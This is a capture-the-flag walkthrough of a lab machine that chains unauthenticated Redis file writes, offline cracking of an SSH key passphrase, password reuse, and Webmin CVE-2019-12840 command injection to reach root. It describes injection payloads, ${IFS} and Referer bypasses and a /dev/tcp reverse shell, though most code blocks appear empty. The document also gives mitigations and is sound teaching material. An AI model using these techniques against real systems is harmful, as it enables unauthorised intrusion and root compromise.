Overview
Machine author: TheCyberGeek. OS: Ubuntu 18.04.3 LTS (Bionic).
| |
- Foothold: Redis listens without authentication; abuse
SAVEto write an SSH public key to/var/lib/redis/.ssh/authorized_keys, shell asredis. - Lateral movement: the encrypted private key
/opt/id_rsa.bakis cracked byjohn(passwordcomputer2008);Mattreuses that as his system password;su Matt. - Privilege escalation: log into Webmin with Matt’s credentials; CVE-2019-12840
(command injection in the Package Updates module, parameter
u); Webmin runs as root, so RCE as root.
Reconnaissance
| |
| Port | Service | Version | Notes |
|---|---|---|---|
| 22 | SSH | OpenSSH 7.6p1 Ubuntu | standard |
| 80 | HTTP | Apache 2.4.29 (Ubuntu) | “under construction” page |
| 6379 | Redis | Redis 4.0.9 | no authentication |
| 10000 | HTTP | MiniServ 1.910 (Webmin httpd) | HTTPS, admin panel |
- Port 6379 (Redis) is the obvious foothold: open to the world, no password.
- Port 10000 (Webmin 1.910): a specific old version, worth keeping for privesc. Webmin runs as root, so any RCE there is root.
- Port 80 is a dead end. Gobuster:
/images /upload /css /js /fonts, nothing useful.
Initial Access
Redis, shell as redis
Redis 4.0-5.0 with a default, open configuration allows arbitrary disk writes with the
privileges of the redis process:
- Redis can save its database (RDB snapshot) to any path set with
CONFIG SET dir+CONFIG SET dbfilename. SAVEdumps the current database contents to that file.- If you first set a key’s value to a controlled string, that string ends up in the file.
This is an RDB write primitive. It is not a clean file write. The RDB file has a binary format:
| |
Our content lands surrounded by garbage (RDB header + metadata + checksum). Only file
attacks that tolerate extra garbage lines work; the canonical example is
authorized_keys, which sshd reads line by line, ignoring lines that are not valid
keys. Wrap the public key in blank lines (\n\n) so the binary garbage does not merge
with the key line.
| |
Test whether .ssh exists (if CONFIG SET dir returns OK, the directory exists):
| |
If it did not exist, Redis returns
(error) ERR Changing directory: No such file or directory.
Write the SSH key:
| |
| |
| |
The saved file shows the “garbage + key + garbage” structure:
| |
Lateral Movement
redis to Matt
| |
LinPEAS flags /opt/id_rsa.bak under “Looking for ssl/ssh files”.
| |
The header shows the key is passphrase encrypted:
| |
Crack it offline:
| |
The key passphrase is computer2008.
SSH as Matt does not work:
| |
Not because of the key (decryption is local; a wrong passphrase re-prompts rather than
closing). The reason is in sshd_config:
| |
The server accepts the key but rejects the user Matt at the SSH level.
Matt reuses the key passphrase as his system password. DenyUsers only blocks SSH, not
local su:
| |
Always test a cracked password in every context (SSH, su, web panels, sudo).
DenyUsers is not a disabled account.
Privilege Escalation
Matt to root (CVE-2019-12840)
Webmin authenticates via PAM / system accounts, so Matt’s credentials work:
| |
| |
Matt has limited panel permissions but has access to the “Software Package Updates” module, which is enough.
CVE-2019-12840: an arbitrary command execution vulnerability in Webmin 1.910 and lower. Any user authorized to the “Package Updates” module can execute arbitrary commands with root privileges.
- Module: Package Updates (
package-updates) - Script:
/usr/share/webmin/package-updates/update.cgi - Parameter:
u(passed by POST, multiple times) - Requirement: an authenticated user with access to the Package Updates module
- Execution context: the Webmin process (
miniserv.pl) runs as root
This is a different bug from the famous 2019 backdoor in password_change.cgi
(CVE-2019-15107), which on this machine is disabled (Password changing is not enabled!).
The module lets you refresh selected packages. The front end sends the package list as
multiple u parameters, each in the form <package_name>/<update_system>; for example
u=acl/apt means “package acl via system apt”.
The payload sends two u values:
| |
The first value pushes the logic past validation; the second is treated as another “package name” and reaches the command without sanitization.
Code flow (simplified but faithful):
| |
Two lines are the whole problem:
my $cmd = "apt-get -y install $packages";: package names (including the payload) are injected into the shell command string by plain interpolation, no quoting, no escaping.&backquote_logged("$cmd ..."): Webmin runs the string through/bin/sh(Perl backquotes = fork +sh -c), so metacharacters (|,;,$(),&&) are interpreted.
For the payload | bash -c id the executed command is:
| |
The server echoes the built command:
| |
Two practical obstacles:
A) Referer header verification. Webmin has CSRF protection (referers_none=1 in
/etc/webmin/config). Without Referer you get:
| |
Add a Referer pointing at the Webmin server itself:
| |
B) Duplicate u parameter in HTTP libraries. update.cgi requires two u parameters.
Many HTTP clients (Python requests with data={...}) collapse a duplicate key and send
only the last value. Use a list of tuples:
| |
C) Spaces break the payload (${IFS}). Webmin splits the package list on whitespace, so a
space in the payload would be treated as a package boundary. Use ${IFS} instead:
| |
Get a root shell (Python):
| |
Or with ${IFS} (Burp, URL-encoded):
| |
| |
| |
bash -i >& /dev/tcp/... requires bash (not dash/sh), because /dev/tcp is a
bashism; the payload decodes base64 and pipes to bash.
Why the Metasploit “redis slave” exploit failed
exploit/linux/redis/redis_unauth_exec (master-slave replication to load a malicious
.so) does not work here:
| |
Not a version issue. It is a deliberate hardening in redis.conf:
| |
rename-command MODULE "" disables the MODULE command. The slave-replication exploit
relies on MODULE LOAD. The intended vector is the simpler RDB write primitive.
Detection and Mitigation
| Stage | Misconfiguration | Mitigation |
|---|---|---|
| Redis foothold | Redis listens on 0.0.0.0 without auth | bind 127.0.0.1, requirepass, protected-mode yes, firewall 6379 |
| Redis write | the redis process can write to its own ~/.ssh | run as a user with no home / no shell; rename-command CONFIG "" |
| Lateral | an encrypted private key in /opt, world-readable | do not store private keys on hosts; restrictive permissions; strong passphrases |
| Lateral | password reuse (key passphrase = system password) | unique passwords per context, a password manager |
| PrivEsc | Webmin 1.910 (vulnerable) running as root | update Webmin > 1.910; limit modules per user; do not expose the panel |
| PrivEsc | referers_none can be satisfied with a header | it is not real protection; do not rely on Referer |
Root cause of CVE-2019-12840: no validation or escaping of package names before
concatenation into a shell command. The correct pattern is to pass arguments as a list to
exec (no shell) or validate names with ^[A-Za-z0-9.+-]+$.
Lessons Learned
- Redis without auth is an RDB write primitive; always check
config get dirandSAVE. Garbage around the content means target files that are read line by line (authorized_keys, cron). DenyUsersonly blocks SSH; test a cracked password insu, web panels and sudo.- Admin panels run as root; look for RCE. Webmin 1.910 -> CVE-2019-12840.
- CVE-2019-12840 is command injection by concatenating package names into
apt-get installrun through a shell. Bypasses:Referer, twouparameters (a tuple list),${IFS}instead of spaces. rename-command MODULE ""is why the Metasploit master-slave exploit fails; a missing vulnerability is not always an old version.
Command Reference
| |